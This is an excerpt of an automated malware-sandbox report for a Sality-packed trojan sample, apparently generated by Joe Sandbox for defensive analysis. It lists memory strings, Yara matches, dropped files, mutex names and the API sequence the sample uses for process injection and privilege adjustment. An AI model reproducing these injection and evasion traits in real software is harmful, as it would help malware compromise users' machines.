                Source: SearchApp.exe, 0000001C.00000000.1466177543.000001EC9A58B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://outlook.office.com/User.ReadWrite
                Source: SearchApp.exe, 0000001C.00000000.1540651490.000001F4AE720000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://outlook.office.com/User.ReadWritej
                Source: SearchApp.exe, 0000001C.00000000.1533110422.000001F4AE269000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://outlook.office365.com/mail/deeplink/attachment/
                Source: explorer.exe, 00000010.00000000.1376298824.000000000C091000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://powerpoint.office.com
                Source: StartMenuExperienceHost.exe, 00000019.00000000.1400414212.000001A4423E6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://powerpoint.office.comcemberx
                Source: SearchApp.exe, 0000001C.00000000.1500517177.000001F49D850000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://reactjs.org/docs/error-decoder.html?invariant=
                Source: SearchApp.exe, 0000001C.00000000.1512906985.000001F49D9F8000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://searchapp.bundleassets.example/desktop/2.html
                Source: SearchApp.exe, 0000001C.00000000.1493116660.000001F49BCBA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/
                Source: SearchApp.exe, 0000001C.00000000.1490357232.000001F49BA00000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1513544477.000001F49DA23000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1517867376.000001F49DC6C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://substrate.office.com
                Source: SearchApp.exe, 0000001C.00000000.1557856758.000001F4AEA3E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://substrate.office.com/M365.Accesshttps://outlook.office.com/User.ReadWrite
                Source: SearchApp.exe, 0000001C.00000000.1466177543.000001EC9A58B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://substrate.office.com/api/v2.0/Users(
                Source: SearchApp.exe, 0000001C.00000000.1466177543.000001EC9A58B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://substrate.office.com/imageB2/v1.0/users/
                Source: SearchApp.exe, 0000001C.00000000.1487055376.000001F49B590000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://substrate.office.com/search/api/v2/queryhttps://substrate.office365.us/search/api/v2/query
                Source: SearchApp.exe, 0000001C.00000000.1466177543.000001EC9A58B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://substrate.office365.us/api/v2.0/Users(
                Source: SearchApp.exe, 0000001C.00000000.1466177543.000001EC9A58B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://substrate.office365.us/imageB2/v1.0/users/
                Source: a4#Uff09.exe, 00000000.00000002.3735613654.0000000000B07000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: https://upx.github.ioT
                Source: SearchApp.exe, 0000001C.00000000.1447029679.000001EC93000000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://windows.msn.cn/shellRESP
                Source: SearchApp.exe, 0000001C.00000000.1447029679.000001EC93000000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://windows.msn.com/shell
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
                Source: explorer.exe, 00000010.00000000.1368434403.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2277407283.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4098690958.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3080612634.00000000090F2000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://wns.windows.com/
                Source: explorer.exe, 00000010.00000000.1376298824.000000000C091000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000019.00000000.1401199744.000001A446400000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://word.office.com
                Source: SearchApp.exe, 0000001C.00000000.1493216454.000001F49BD00000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.digicert.com/CPS0
                Source: SearchApp.exe, 0000001C.00000000.1484022160.000001F49B262000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/de-ch/play/games/archery-king/cg-9n5gkc4t7lzz
                Source: SearchApp.exe, 0000001C.00000000.1517867376.000001F49DC6C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/de-ch/play/games/archery-king/cg-9n5gkc4t7lzz0
                Source: SearchApp.exe, 0000001C.00000000.1517867376.000001F49DC6C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/de-ch/play/games/basketball-frvr/cg-9npd4c9369l0
                Source: SearchApp.exe, 0000001C.00000000.1484022160.000001F49B262000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1517867376.000001F49DC6C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/de-ch/play/games/bowling-hero/cg-9n4v2151rf31
                Source: SearchApp.exe, 0000001C.00000000.1484022160.000001F49B262000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/de-ch/play/games/fairyland%3a-merge-%26-magic/cg-9nw8m0c50k4w
                Source: SearchApp.exe, 0000001C.00000000.1484022160.000001F49B262000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1517867376.000001F49DC6C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/de-ch/play/games/food-tycoon-frvr/cg-9nf9144n6817
                Source: SearchApp.exe, 0000001C.00000000.1484022160.000001F49B262000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/de-ch/play/games/master-chess/cg-9nrl2nj7l6s1
                Source: SearchApp.exe, 0000001C.00000000.1517867376.000001F49DC6C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/de-ch/play/games/master-chess/cg-9nrl2nj7l6s1F
                Source: SearchApp.exe, 0000001C.00000000.1484022160.000001F49B262000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/de-ch/play?ocid=winpsearchboxexpcta2&cgfrom=cg_dsb_seeMore
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/what-to-do-if-a-worst-case-nuclear-scenario-actua
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-it
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/music/news/6-rock-ballads-that-tug-at-the-heartstrings/ar-AA1hIdsm
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/vi
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/technology/prehistoric-comet-impacted-earth-and-triggered-the-switch-
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-world
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/accuweather-el-ni
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/here-s-who-could-see-above-average-snowfall-this-winter
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINt
                Source: SearchApp.exe, 0000001C.00000000.1462904696.000001EC9A1D4000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/spartan/dhp_l
                Source: SearchApp.exe, 0000001C.00000000.1462904696.000001EC9A1D4000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/spartan/mmxh
                Source: SearchApp.exe, 0000001C.00000000.1462904696.000001EC9A1D4000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/spartan/ntp0N
                Source: SearchApp.exe, 0000001C.00000000.1462904696.000001EC9A1D4000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/spartan/ntpI
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com:443/en-us/feed
                Source: SearchApp.exe, 0000001C.00000000.1514229836.000001F49DAEF000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.ng.com
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071B2000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.pollensense.com/
                Source: svchost.exe, 0000000C.00000000.1330952171.0000018CE72A9000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1496640545.000001F49D27C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://xsts.auth.xboxlive.com
                Source: svchost.exe, 0000000C.00000000.1330952171.0000018CE72A9000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1496640545.000001F49D27C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://xsts.auth.xboxlive.com/
                Source: unknownNetwork traffic detected: HTTP traffic on port 49674 -> 443
                Source: unknownNetwork traffic detected: HTTP traffic on port 49675 -> 443
                Source: unknownNetwork traffic detected: HTTP traffic on port 49672 -> 443
                Source: unknownNetwork traffic detected: HTTP traffic on port 49705 -> 443
                Source: unknownNetwork traffic detected: HTTP traffic on port 49727 -> 443
                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49727
                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49705
                Source: Yara matchFile source: 0.2.a4#Uff09.exe.8d0302.5.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.a4#Uff09.exe.4967bc.4.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.a4#Uff09.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: a4#Uff09.exe PID: 7020, type: MEMORYSTR

                System Summary

                barindex
                Malicious sample detected (through community Yara rule)
                Source: 0.2.a4#Uff09.exe.2a52300.11.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality Author: ditekSHen
                Source: 0.2.a4#Uff09.exe.2a525f4.12.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality Author: ditekSHen
                Source: 0.2.a4#Uff09.exe.29d0000.10.unpack, type: UNPACKEDPEMatched rule: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality Author: ditekSHen
                Source: C:\ahcs.pif, type: DROPPEDMatched rule: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality Author: ditekSHen
                Source: C:\Users\user\AppData\Local\Temp\vmgr.exe, type: DROPPEDMatched rule: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality Author: ditekSHen
                PE file contains section with special chars
                Source: MyProg.exe.2.drStatic PE information: section name: Y|uR
                PE file has a writeable .text section
                Source: ahcs.pif.0.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                Source: plgMeM.exe.0.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                Source: vmgr.exe.0.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                Source: C:\Users\user\Desktop\a4#Uff09.exeProcess Stats: CPU usage > 49%
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 0_2_0047D0C60_2_0047D0C6
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 0_2_029D96520_2_029D9652
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 0_2_029D6A850_2_029D6A85
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 0_2_029E22A00_2_029E22A0
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeCode function: 2_2_00DB60762_2_00DB6076
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeCode function: 2_2_00DB6D002_2_00DB6D00
                Source: Joe Sandbox ViewDropped File: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe F2DE2A37E6DFC90FFD0162EF11A7C9792850E37767B1E2C5AD28C751D18D750F
                Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\Temp\plgMeM.exe 4354970CCC7CD6BB16318F132C34F6A1B3D5C2EA7FF53E1C9271905527F2DB07
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 320 -s 1592
                Source: a4#Uff09.exeStatic PE information: Resource name: RT_STRING type: COM executable for DOS
                Source: MyProg.exe.2.drStatic PE information: Resource name: RT_VERSION type: MIPSEB-LE ECOFF executable not stripped - version 0.79
                Source: msedge.exe.0.drStatic PE information: Number of sections : 14 > 10
                Source: a4#Uff09.exeBinary or memory string: OriginalFilename vs a4#Uff09.exe
                Source: a4#Uff09.exe, 00000000.00000002.3735613654.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilename_R2{vU_hV6R\O vs a4#Uff09.exe
                Source: a4#Uff09.exe, 00000000.00000002.3735613654.0000000000AF9000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: \StringFileInfo\%s\OriginalFilename vs a4#Uff09.exe
                Source: a4#Uff09.exe, 00000000.00000002.3735613654.0000000000AF9000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: GlobalMemoryStatusExKernel32.dllx86 Family %s Model %s Stepping %s%08X-%08X-%08X-%08X\StringFileInfo\%s\Comments\StringFileInfo\%s\ProductVersion\StringFileInfo\%s\ProductName\StringFileInfo\%s\OriginalFilename\StringFileInfo\%s\LegalTrademarks\StringFileInfo\%s\LegalCopyright\StringFileInfo\%s\InternalName\StringFileInfo\%s\FileDescription\StringFileInfo\%s\CompanyName%s\StringFileInfo\%s\FileVersion040904E4000%x, \VarFileInfo\TranslationopenMicrosoft Internet Explorer vs a4#Uff09.exe
                Source: a4#Uff09.exe, 00000000.00000002.3735613654.0000000000B07000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilename_R2{vU_hV12 vs a4#Uff09.exe
                Source: a4#Uff09.exe, 00000000.00000002.3735613654.0000000000B07000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: VALUE "OriginalFilename", " vs a4#Uff09.exe
                Source: a4#Uff09.exe, 00000000.00000002.3735613654.0000000000B07000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameupx.exe( vs a4#Uff09.exe
                Source: a4#Uff09.exe, 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenamebszip.dll" vs a4#Uff09.exe
                Source: a4#Uff09.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                Source: 0.2.a4#Uff09.exe.2a52300.11.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_EXE_Packed_SimplePolyEngine author = ditekSHen, description = Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality
                Source: 0.2.a4#Uff09.exe.2a525f4.12.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_EXE_Packed_SimplePolyEngine author = ditekSHen, description = Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality
                Source: 0.2.a4#Uff09.exe.29d0000.10.unpack, type: UNPACKEDPEMatched rule: INDICATOR_EXE_Packed_SimplePolyEngine author = ditekSHen, description = Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality
                Source: C:\ahcs.pif, type: DROPPEDMatched rule: INDICATOR_EXE_Packed_SimplePolyEngine author = ditekSHen, description = Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality
                Source: C:\Users\user\AppData\Local\Temp\vmgr.exe, type: DROPPEDMatched rule: INDICATOR_EXE_Packed_SimplePolyEngine author = ditekSHen, description = Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality
                Source: plgMeM.exe.0.drStatic PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                Source: ahcs.pif.0.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                Source: plgMeM.exe.0.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                Source: vmgr.exe.0.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                Source: ahcs.pif.0.drStatic PE information: Section .text
                Source: vmgr.exe.0.drStatic PE information: Section .text
                Source: plgMeM.exe.0.drStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0
                Source: classification engineClassification label: mal100.spre.troj.evad.winEXE@10/136@113/6
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 0_2_029DCC92 OpenProcess,GetLastError,GetVersionExA,GetCurrentThread,OpenThreadToken,GetLastError,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,GetLastError,CloseHandle,OpenProcess,AdjustTokenPrivileges,CloseHandle,OpenProcessToken,GetTokenInformation,GetLastError,GetProcessHeap,RtlAllocateHeap,GetTokenInformation,LookupAccountSidA,lstrcmpiA,lstrcmpiA,lstrcmpiA,CreateMutexA,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,VirtualAllocEx,lstrlen,WriteProcessMemory,CreateRemoteThread,FindCloseChangeNotification,CloseHandle,GetProcessHeap,HeapFree,0_2_029DCC92
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeCode function: 2_2_00DB119F GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,CloseHandle,CloseHandle,2_2_00DB119F
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 0_2_029DD2B0 CreateToolhelp32Snapshot,Process32First,lstrlen,lstrcpyn,lstrcpy,CharLowerA,lstrlen,wsprintfA,CreateMutexA,GetLastError,ReleaseMutex,CloseHandle,Process32Next,lstrlen,lstrcpyn,lstrcpy,CharLowerA,lstrlen,wsprintfA,CreateMutexA,GetLastError,ReleaseMutex,CloseHandle,CloseHandle,0_2_029DD2B0
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\k1[1].rarJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2572_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_7392_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\csrss.exeM_412_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_4536_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\applicationframehost.exeM_3496_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_7056_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\officeclicktorun.exeM_2596_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6040_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_2628_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\conhost.exeM_7864_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_912_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\backgroundtaskhost.exeM_4128_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6920_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6956_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1852_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5440_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wmiprvse.exeM_6232_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5084_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\searchapp.exeM_4972_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\lsass.exeM_632_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5464_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5488_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\smss.exeM_328_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_2432_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\uxJLpe1m
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\startmenuexperiencehost.exeM_4756_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6616_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_3784_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5376_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2248_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1080_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_3804_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\dllhost.exeM_5512_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\textinputhost.exeM_6852_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\registryM_92_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1636_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wininit.exeM_488_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_4656_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6356_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\plgmem.exeM_320_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2096_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\a4#uff09.exeM_7020_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_7604_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_860_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\sihost.exeM_3476_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2736_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_3456_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6332_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_1028_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1388_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\runtimebroker.exeM_5620_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1376_
